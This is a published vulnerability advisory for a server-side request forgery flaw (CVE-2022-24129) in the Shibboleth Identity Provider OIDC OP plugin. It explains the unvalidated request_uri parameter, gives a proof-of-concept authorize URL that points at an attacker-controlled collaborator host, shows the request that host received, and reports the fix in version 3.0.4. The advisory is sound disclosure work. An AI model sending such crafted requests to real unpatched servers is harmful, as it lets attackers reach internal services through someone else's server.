sbaresearch / **advisories** Public

Code Issues Pull requests Actions Projects Security Insights

public

advisories / 2022 / **SBA-ADV-20220127-01_Shibboleth_IdP_OIDC_OP_Plugin_SSRF** /

lxp Publish SBA-ADV-20220127-01: Shibboleth Identity Provider OIDC ... … on Jan 31 **History**

..

README.md 10 months ago

README.md

Shibboleth Identity Provider OIDC OP Plugin Server-Side Request Forgery

Vulnerability Overview

Shibboleth Identity Provider OIDC OP plugin 3.0.3 or below is prone to a server-side request forgery (SSRF) vulnerability due to an insufficient restriction of the `request_uri` parameter. This allows unauthenticated attackers to interact with arbitrary third-party HTTP services.

- **Identifier** : SBA-ADV-20220127-01
- **Type of Vulnerability** : Server-Side Request Forgery (SSRF)
- **Software/Product Name** : Identity Provider OIDC OP Plugin
- **Vendor** : Shibboleth Consortium
- **Affected Versions** : <= 3.0.3
- **Fixed in Version** : 3.0.4
- **CVE ID** : CVE-2022-24129
- **CVSS Vector** : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N
- **CVSS Base Score** : 8.6 (High)

Vendor Description

> The OIDC OP plugin is the successor to the original GEANT-funded add-on to Shibboleth and is now available as an offically-supported plugin for IdP V4.1 and above. It provides conformant OIDC OP functionality alongside the SAML and CAS support previously native to the IdP software.

Source:
https://shibboleth.atlassian.net/wiki/spaces/IDPPLUGINS/pages/1376878976/OIDC+OP

Impact

An unauthenticated attacker can interact with arbitrary third-party HTTP services by exploiting the vulnerability documented in this advisory. This might lead to manipulation of internal services accessible by the server running the affected software. Moreover, an attacker can send malicious requests to external services, while the server running the affected software appears as the source of the attack.

Vulnerability Description

The OIDC specification allows an OIDC RP to send authentication requests via a request object. These request objects can be either sent directly as `request` parameter or indirectly by passing an URL as `request_uri` parameter. In the latter case, the OIDC provider fetches the request object via an HTTP-GET request from the specified URL.

The Shibboleth OIDC OP plugin supports this behavior, but does not validate the passed `request_uri` before issuing the HTTP-GET request. An unauthenticated attacker might exploit this to perform server-side request forgery and issue malicious HTTP-GET requests to services reachable by the server running the plugin. For example, an attacker could try to access protected internal services which are not reachable from public or adjacent networks, otherwise.

The Shibboleth OIDC OP plugin does not return information from the issued HTTP response to the attacker when it cannot parse the response as JWS. Therefore, the ability of an attacker is mostly limited to initiate operations on HTTP services. Additionally, an attacker can find out the exact Shibboleth IdP version by letting the OIDC OP plugin connect to an attacker-controlled service and inspecting the user agent header of the HTTP request.

Proof of Concept

We set up an Shibboleth IdP version 4.1.5 with the OIDC OP plugin 3.0.3 and deployed the following client metadata.

```
[
  {
    "scope":"openid email",
    "redirect_uris":["https://demorp.example.org/redirect_uri"],
    "client_id":"demo_rp",
    "client_secret":"topsecret",
    "response_types":["code"],
    "grant_types":["authorization_code"],
    "request_uris":["https://example.org"]
  }
]
```

In the client metadata we first specified no `request_uris` parameter. We then also tried to set the `request_uris` parameter to `https://example.org` (see above), both leading to the following behavior.

We issued an authentication request via the following URL specifying an `request_uri` parameter pointing to an attacker-controlled server:

```
https://idp.example.org/idp/profile/oidc/authorize?
client_id=demo_rp&request_uri=https://na1wjvvodi7fua6a3ulaxtq48vel2a.burpcollaborato
```

On the attacker-controlled server we received the following request:

```
GET / HTTP/1.1
Host: na1wjvvodi7fua6a3ulaxtq48vel2a.burpcollaborator.net
Connection: Keep-Alive
User-Agent: ShibbolethIdp/4.1.5 OpenSAML/4.1.1
Accept-Encoding: gzip,deflate
Connection: close
```

Additionally, the Shibboleth IdP logged the following output:

```
2022-01-28 20:22:58,290 - 127.0.0.1 - ERROR
[net.shibboleth.idp.plugin.oidc.op.profile.impl.SetRequestObjectToResponseContext:14
 - Profile Action SetRequestObjectToResponseContext: Unable to parse request
object from request_uri, Invalid JWT serialization: Missing dot delimiter(s)
```

This indicates that the OIDC OP plugin sent the HTTP request, but could not parse the HTTP response.

Recommended Countermeasures

As a countermeasure for the vendor we recommend to only accept the `request_uri` parameter when an allow list is configured in the client metadata and the supplied `request_uri` matches the client metadata. Additionally, the allow list should not be arbitrarily configurable via the dynamic client-registration endpoint.

According to the vendor this countermeasure was implemented in version 3.0.4, therefore we recommend users to use versions 3.0.4 or later.

Timeline

- `2022-01-27` : identification of vulnerability in version 3.0.3
- `2022-01-27` : initial vendor contact
- `2022-01-27` : disclosed vulnerability to vendor security contact
- `2022-01-28` : vendor acknowledged vulnerability
- `2022-01-29` : request CVE from MITRE
- `2022-01-30` : MITRE assigned CVE-2022-24129
- `2022-01-31` : vendor released version 3.0.4
- `2022-01-31` : public disclosure

References

- OpenID Connect specification: https://openid.net/specs/openid-connect-core-1_0.html#RequestUriParameter
- Vendor security advisory: https://shibboleth.net/community/advisories/secadv_20220131.txt

Credits

- David Gnedt (SBA Research)
- Andreas Bernauer-Puchegger (SBA Research)
- Franz Wieshaider (SBA Research)